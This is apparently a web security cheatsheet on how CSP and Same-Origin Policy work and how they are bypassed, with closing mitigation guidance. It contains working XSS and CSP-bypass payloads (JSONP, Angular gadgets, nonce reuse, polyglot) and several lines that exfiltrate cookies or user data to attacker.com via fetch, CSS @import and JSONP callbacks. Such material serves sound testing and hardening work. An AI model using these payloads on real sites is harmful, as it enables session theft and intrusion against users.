Post

CSP & Same-Origin Policy Bypass

CSP & Same-Origin Policy Bypass

Introduction

Content Security Policy (CSP) and Same-Origin Policy (SOP) are critical web security mechanisms designed to prevent various attacks including Cross-Site Scripting (XSS) and data theft. This cheatsheet covers their functionality and techniques to bypass these protections.

Same-Origin Policy (SOP)

Overview

Same-Origin Policy is a security mechanism that restricts how documents or scripts from one origin can interact with resources from another origin. An origin is defined by the scheme (protocol), host (domain), and port of a URL.

Same-Origin Definition

Two URLs have the same origin if they have identical schemes, hosts, and ports:

1
2
3
4
5
https://example.com/page1.html  # Origin: https://example.com
https://example.com/page2.html  # Same origin as above
http://example.com              # Different origin (different scheme)
https://sub.example.com         # Different origin (different host)
https://example.com:8080        # Different origin (different port)

SOP Restrictions

  1. JavaScript: Cannot access DOM methods and properties across origins
  2. Cookies: Cannot access cookies from different origins
  3. AJAX: Cannot make cross-origin requests without CORS headers
  4. LocalStorage/IndexedDB: Cannot access storage across origins

SOP Exceptions

  • <script>, <img>, <link>, <video>, <audio> tags can load cross-origin resources
  • <iframe> can display cross-origin content (but cannot access it)
  • CORS (Cross-Origin Resource Sharing) allows controlled cross-origin requests

Content Security Policy (CSP)

Overview

Content Security Policy is an added layer of security that helps detect and mitigate XSS and data injection attacks. It specifies which dynamic resources are allowed to load.

Common CSP Directives

DirectiveDescriptionExample
default-srcDefault fallback for all resource typesdefault-src 'self'
script-srcControls JavaScript sourcesscript-src 'self' https://trusted.com
style-srcControls CSS sourcesstyle-src 'self' https://cdn.com
img-srcControls image sourcesimg-src 'self' data:
connect-srcControls fetch, XHR, WebSocketconnect-src 'self'
frame-srcControls sources for framesframe-src 'none'
font-srcControls font sourcesfont-src 'self' https://fonts.com
object-srcControls Flash and other pluginsobject-src 'none'
base-uriControls allowed URLs in <base>base-uri 'self'
form-actionControls URLs for form submissionsform-action 'self'
frame-ancestorsControls who can embed the pageframe-ancestors 'none'
report-uriWhere to send violation reportsreport-uri /csp-report
upgrade-insecure-requestsUpgrades HTTP to HTTPSupgrade-insecure-requests

CSP Source Values

ValueDescriptionSecurity Level
'none'Allows nothingHighest
'self'Allows resources from same originHigh
'unsafe-inline'Allows inline scripts/stylesLow
'unsafe-eval'Allows eval() and similarLow
'nonce-{random}'Allows resources with specific nonceMedium-High
'sha256-{hash}'Allows resources matching hashMedium-High
https://example.comAllows resources from specific domainMedium
*.example.comAllows resources from subdomainsMedium-Low
data:Allows data: URIsLow
https:Allows any HTTPS URLVery Low
*Allows anythingNone

CSP Implementation

1
2
3
4
5
<!-- Via HTTP Header -->
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com; style-src 'self';

<!-- Via Meta Tag -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.com; style-src 'self';">

Report-Only Mode

1
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violation-report;

Bypassing Same-Origin Policy

CORS Misconfigurations

Permissive CORS

1
2
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true  # This is problematic with wildcard

Origin Reflection

1
2
3
4
5
6
# Request
Origin: https://attacker.com

# Response
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

Null Origin Bypass

1
2
3
4
5
6
# Request
Origin: null

# Response (vulnerable)
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

JSONP Exploitation

1
2
3
4
// Vulnerable JSONP endpoint
<script src="https://victim.com/api/user?callback=alert"></script>

// The server returns: alert({user_data})

PostMessage Vulnerabilities

Missing Origin Check

1
2
3
4
5
6
7
8
9
10
11
12
13
// Vulnerable receiver
window.addEventListener('message', function(event) {
  // No origin check
  document.getElementById('output').innerHTML = event.data;
});

// Exploiting from attacker.com
<script>
  const victimWindow = window.open('https://victim.com');
  setTimeout(() => {
    victimWindow.postMessage('<img src=x onerror=alert(document.domain)>', '*');
  }, 2000);
</script>

DNS Rebinding

  1. Attacker controls attacker.com with short TTL
  2. Victim visits attacker.com (resolves to attacker’s server)
  3. Attacker’s page makes requests to attacker.com/api
  4. DNS record changes to point to 127.0.0.1 or target IP
  5. Subsequent requests go to internal target but same-origin policy allows it

Bypassing Content Security Policy

Misconfigured Directives

Missing Directives

1
2
# Missing object-src allows embedding Flash objects
Content-Security-Policy: default-src 'self'; script-src 'self';

Insecure Fallbacks

1
2
# default-src allows everything via https
Content-Security-Policy: default-src https:; script-src 'self';

Unsafe Inline Bypasses

Exploiting ‘unsafe-inline’

1
2
3
<!-- When CSP includes: script-src 'unsafe-inline' -->
<script>alert(document.domain)</script>
<img src=x onerror="alert(document.domain)">

Exploiting ‘unsafe-eval’

1
2
3
4
5
// When CSP includes: script-src 'unsafe-eval'
eval("alert(document.domain)");
setTimeout("alert(document.domain)");
setInterval("alert(document.domain)");
new Function("alert(document.domain)")();

Bypass via Whitelisted Domains

JSONP Endpoints

1
2
<!-- When trusted.com is in script-src -->
<script src="https://trusted.com/jsonp?callback=alert(document.domain)//"></script>

Script Gadgets

1
2
3
<!-- When trusted.com hosts Angular -->
<script src="https://trusted.com/angular.js"></script>
<div ng-app>{{ constructor.constructor('alert(document.domain)')() }}</div>

CDN Abuse

1
2
3
4
5
6
7
8
<!-- When cdnjs.cloudflare.com is in script-src -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js"></script>
<div ng-app ng-csp>

{{ x = $on.curry.call().eval('fetch("https://attacker.com", {credentials: "include"})') }}

</div>

Vulnerable Libraries

1
2
3
4
5
<!-- When jQuery is allowed from a CDN -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
<script>
$.getScript("data:text/javascript,alert(document.domain)")
</script>

DOM-Based CSP Bypasses

JSONP via DOM

1
2
3
4
// When script-src includes trusted.com
var script = document.createElement('script');
script.src = "https://trusted.com/jsonp?callback=alert(document.domain)";
document.body.appendChild(script);

DOM XSS in Whitelisted Scripts

1
2
// If the whitelisted script has a vulnerability
location.href = 'javascript:alert(document.domain)';

Nonce-Based CSP Bypasses

Nonce Reuse

1
2
3
4
5
6
7
8
9
10
11
<!-- When CSP includes: script-src 'nonce-r4nd0m' -->
<script nonce="r4nd0m">
  // Extract the nonce
  var nonce = document.querySelector('script').nonce;
  
  // Create a new script with the same nonce
  var script = document.createElement('script');
  script.nonce = nonce; // Reuse the nonce
  script.textContent = "alert(document.domain)";
  document.body.appendChild(script);
</script>

XSS via Script Injection with Nonce

1
2
// If you can inject into the page's HTML generation
<script nonce="r4nd0m">alert(document.domain)</script>

Hash-Based CSP Bypasses

Script Injection Matching Hash

1
2
// If CSP includes: script-src 'sha256-hash_value_here'
// You need to inject exactly the script that matches that hash

Browser Bugs and Quirks

Safari Short Circuit

1
Content-Security-Policy: script-src 'strict-dynamic' 'nonce-abcdef'

In older Safari versions, ‘strict-dynamic’ was ignored, allowing normal CSP bypass.

Edge Legacy Treatment of ‘unsafe-hashes’

Edge had inconsistencies in how it implemented ‘unsafe-hashes’, allowing bypasses in some cases.

Browser Parsing Inconsistencies

1
Content-Security-Policy: script-src 'self'; object-src 'none';, script-src 'unsafe-inline'

Some browsers would parse the second script-src directive, allowing inline scripts.

Special Techniques

Data Exfiltration via CSS

1
2
3
4
<!-- When style-src includes 'unsafe-inline' -->
<style>
@import url(https://attacker.com/?data='+document.cookie);
</style>

iframes for Sandbox Escape

1
2
<!-- When frame-src is not restricted -->
<iframe src="data:text/html,<script>top.postMessage(document.cookie, '*')</script>"></iframe>

Polyglot XSS

1
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>

Advanced CSP Bypass Examples

Base-URI Bypass

1
2
3
<!-- When base-uri is missing -->
<base href="https://attacker.com/">
<script src="/malicious.js"></script> <!-- Loads from attacker.com -->

Form-Action Bypass

1
2
3
4
5
6
<!-- When form-action is missing -->
<form action="https://attacker.com/log">
  <input name="stolen" value="data">
  <input type="submit" id="submit">
</form>
<script>document.getElementById("submit").click()</script>

Iframe Sandboxing Escape

1
2
<!-- When sandbox allows scripts and forms -->
<iframe sandbox="allow-scripts allow-forms" src="data:text/html,<script>fetch('https://attacker.com', {credentials: 'include'})</script>"></iframe>

Exploiting JSONP for Data Exfiltration

1
2
3
4
5
6
7
8
// When a trusted domain has JSONP
function steal(data) {
  fetch('https://attacker.com/log?data=' + encodeURIComponent(JSON.stringify(data)));
}

var script = document.createElement('script');
script.src = "https://trusted-site.com/api/user?callback=steal";
document.body.appendChild(script);

Mitigation & Best Practices

Strong CSP Configuration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Content-Security-Policy: 
  default-src 'none';
  script-src 'self' 'nonce-{random_value}';
  style-src 'self';
  img-src 'self';
  font-src 'self';
  connect-src 'self';
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests;
  report-uri https://csp-report-collector.example.com/collector

SOP Hardening

  • Implement proper CORS headers
  • Use SameSite cookies: Set-Cookie: session=123; SameSite=Strict; Secure
  • Validate state in cross-origin communications
  • Use anti-CSRF tokens
  • Implement proper X-Frame-Options: X-Frame-Options: DENY

Development Practices

  1. Avoid inline scripts/styles - Move all code to external files
  2. Implement nonce-based CSP - Generate random nonces for each page load
  3. Use strict CSP - Start with ‘none’ and add only what’s needed
  4. Monitor violations - Use report-uri to track potential attacks
  5. Regular security audit - Check for new vulnerabilities in allowed domains
  6. Reduce trusted domains - Minimize your script-src whitelist
  7. Host your own scripts - Avoid CDN risks where possible
  8. Use Subresource Integrity - <script src="..." integrity="sha384-..."></script>
  9. Consider CSP Level 3 features - Like ‘strict-dynamic’

References

  1. OWASP Content Security Policy Cheat Sheet
  2. Content Security Policy Reference
  3. CSP Evaluator Tool
  4. MDN Same-Origin Policy
  5. Google CSP Bypass Research
  6. PortSwigger XSS Cheat Sheet
  7. CSP Is Dead, Long Live CSP! - OWASP AppSec EU 2016
This post is licensed under CC BY 4.0 by the author.